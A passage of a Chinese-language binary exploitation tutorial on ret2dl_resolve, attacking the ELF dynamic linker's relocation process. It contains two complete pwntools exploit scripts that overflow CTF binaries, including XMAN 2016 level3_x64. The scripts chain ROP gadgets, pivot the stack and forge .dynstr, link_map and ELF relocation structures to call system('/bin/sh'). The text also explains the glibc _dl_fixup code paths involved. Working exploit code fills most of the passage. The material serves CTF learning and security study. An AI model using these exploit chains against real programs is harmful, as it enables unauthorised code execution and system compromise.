把exit替换成system,因为memset的一部分会被system覆盖掉,所以memset余下的全部替换为\x00以防止之后的符号偏移值出错,因为memset是在read之前调用的,而且其他地方也没有这个函数的调用,所以只要后面不再调用vuln函数,这个值就可以被覆盖
'''
# 将exit替换之后
fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

接着只需要修改.dynamic对应的指针然后写入伪造的.dynstr节的数据完成部署,然后调用exit函数即可:

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os = 'linux', arch = 'i386')

call_exit_addr = 0x08048495
read_plt = 0x08048300
start_addr = 0x08048350
dynstr_d_ptr_address = 0x080496a4
fake_dynstr_address = 0x08049800
fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

p = process('./fake_dynstr32')

# 修改.dynamic对应的指针
payload = 'A'*(0x12+0x4)
payload += flat([
    read_plt,
    start_addr,
    0,
    dynstr_d_ptr_address,
    4
])
p.send(payload)
sleep(1)
p.send(p32(fake_dynstr_address))
sleep(1)

# 写入伪造的.dynstr以及system函数的参数
payload = 'A'*(0x12+0x4)
payload += flat([
    read_plt,
    start_addr,
    0,
    fake_dynstr_address,
    len(fake_dynstr_data)+8 # 为"/bin/sh"预留8字节的空间
])
p.send(payload)
sleep(1)
p.send(fake_dynstr_data+'/bin/sh\x00')
sleep(1)

# 调用exit函数完成攻击
payload = 'A'*(0x12+0x4)
payload += flat([
    call_exit_addr, # 此处的指令是call exit,所以不需要部署函数返回地址,只需在栈中布置好参数即可
    fake_dynstr_address+len(fake_dynstr_data)
])
p.send(payload)
p.interactive()

这种攻击实际上是利用的已解析的函数在执行_dl_runtime_resolve时的分支:

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
           ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
           struct link_map *l, ElfW(Word) reloc_arg)
{
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
  ......
  else
    {
      /* We already found the symbol.  The module (and therefore its load
         address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
......
}

通过注释也可以知道,如果函数已经被解析过,那么就会通过另一个分支的宏DL_FIXUP_MAKE_VALUE来计算出结果,返回调用函数。这个计算过程中用到了link_map的成员变量l->l_addr(实际映射地址和原来指定的映射地址的差值)和Elf32/64_Sym的成员变量st_value(根据对应节的索引值有不同含义)。

这里不需要去了解这些值的具体含义,只需要知道如果能使l->l_addr + sym->st_value指向一个函数在内存中的实际地址,就可以返回到这个函数上。所以就可以将l->l_addrsym->st_name二者之一设置成一个已解析函数的got表地址(这时got表地址已经是函数运行时内存地址),另外一个设置成目标函数与这个已解析的函数的偏移就可以完成目标函数的调用了。不过这里的前提是我们已知libc版本(计算偏移)。

接下来的问题就是如何修改这两个值,因为我们通过伪造link_map来完成攻击,所以l->l_addr是可控的,另外,我们还知道,.dynsym,.dynstr,.rel.plt等节区都可以通过link_map获取,所以sym->st_name也是可控的:

const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

所以这两个值都可以直接伪造!

根据前面的分析,首先需要做的是绕过if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)不让程序执行_dl_lookup_symbol_x转而执行我们期望的分支。

要达到这一目的:

  1. 需要伪造symtabreloc->r_info,所以我们得伪造DT_SYMTAB, DT_JMPREL;
  2. 需要设置.strtab可读,需要伪造DT_STRTAB(这里只需要其对应的地址可读,不需要实际的数据)

总的来说,需要伪造link_map的前0xf8个字节的数据,需关注的部分及对应的偏移:

内容 偏移
l_addr link_map+0
DT_STRTAB link_map+0x68
DT_SYMTAB link_map+0x70
DT_JMPREL link_map+0xf8

对应的,还需要伪造结构体Elf64_Dyn,Elf64_Sym,Elf64_Rela。最后需要让reloc_offset为0。

为了伪造的方便,我们可以选择让l->l_addr为已解析函数内存地址和system的偏移,sym->st_value为已解析的函数地址的指针-8,即其got表项-8

大致构造布局如下:

# 伪造link_map
fake_link_map_data = ""
fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_main
fake_link_map_data += '\x00'*0x60                   # 用作填充,值对攻击过程无影响,但这些填充位可以放入'/bin/sh‘,这样也就可以不再使用其他空间了
fake_link_map_data += p64(DT_STRTAB)                # +0x68 DT_STRTAB
fake_link_map_data += p64(DT_SYMTAB)                # +0x70 DT_SYMTAB
fake_link_map_data += '\x00'*0x80
fake_link_map_data += p64(DT_JMPREL)                # +0xf8 DT_JMPREL
# 后面的link_map数据不需要再伪造

# 伪造三个结构体
fake_Elf64_Dyn = ""
fake_Elf64_Dyn += p64(0)                                # d_tag
fake_Elf64_Dyn += p64(0)                                # d_ptr

fake_Elf64_Rela = ""
fake_Elf64_Rela += p64(0)                                # r_offset
fake_Elf64_Rela += p64(7)                                # r_info,设置为7以通过检查
fake_Elf64_Rela += p64(0)                                # r_addend

fake_Elf64_Sym = ""
fake_Elf64_Sym += p32(0)                                # st_name
fake_Elf64_Sym += 'AAAA'                                # st_info, st_other, st_shndx,设置为非零,使ELFW(ST_VISIBILITY) (sym->st_other)不等于0
fake_Elf64_Sym += p64(main_got-8)         # st_value
fake_Elf64_Sym += p64(0)  

之后只需要劫持程序流程然后伪造参数并执行_dl_fixup_dl_fixup地址也在got表中的第2项,但是这个位置保存的是函数地址,我们没办法放在栈上用ret跳过去,不过可以通过jmp来跳转到我们想要的位置:

.plt:00000000004004A0                 push    cs:qword_600A48
.plt:00000000004004A6                 jmp     cs:qword_600A50

XMAN 2016-level3_x64/level3_x64

#!/usr/bin/python
#coding:utf-8

from pwn import *
context.update(os = 'linux', arch = 'amd64')


p = process('./level3_x64')

universal_gadget1 = 0x4006aa
universal_gadget2 = 0x400690

main_got = 0x600a68
pop_rdi_ret = 0x4006b3
jmp_dl_fixup = 0x4004a6
pop_rbp_ret = 0x400550
leave_ret = 0x400618
read_got = 0x600a60
new_stack_addr = 0x600ad0
fake_link_map_addr = 0x600b00

payload = ""
payload += 'A'*(0x80+0x8)
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got)
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += 'A'*56

payload += p64(pop_rbp_ret)
payload += p64(new_stack_addr)
payload += p64(leave_ret)

p.send(payload)

sleep(0.5)

offset = 0x24c50    # system - __libc_start_main

fake_Elf64_Dyn = ""
fake_Elf64_Dyn += p64(0)    #d_tag  从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  #d_ptr  指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

fake_Elf64_Rela = ""
fake_Elf64_Rela += p64(fake_link_map_addr - offset)  # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行
fake_Elf64_Rela += p64(7)               # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0)               # r_addend  随意设置

fake_Elf64_Sym = ""
fake_Elf64_Sym += p32(0)                # st_name 随意设置
fake_Elf64_Sym += 'AAAA'                # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(main_got-8)       # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0)                # st_size 随意设置

fake_link_map_data = ""
fake_link_map_data += p64(offset)       # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += '\x00'*0x20
fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += "/bin/sh\x00"
fake_link_map_data += '\x00'*0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址

payload = ""
payload += "AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(fake_link_map_addr+0x78) # /bin/sh\x00地址
payload += p64(jmp_dl_fixup)    # 用jmp跳转到_dl_fixup,link_map和reloc_offset都由我们自己伪造
payload += p64(fake_link_map_addr)    # 伪造的link_map地址
payload += p64(0)             # 伪造的reloc_offset
payload += fake_link_map_data

p.send(payload)
p.interactive()

可以发现针对软件重定位的攻击其实都是围绕函数 _dl_fix_up 的两个参数 link_map和 reloc_arg 展开的,再加上相关数据结构的伪造完成攻击。确实感觉这种攻击是格式化的,虽然过程看上去很复杂,但是实际上都有固定的“套路”,只需按照步骤一步一步操作,大多数情况下就可以完成整个攻击。

本文大部分内容源自i春秋的linux pwn入门教程:针对软件重定位流程的攻击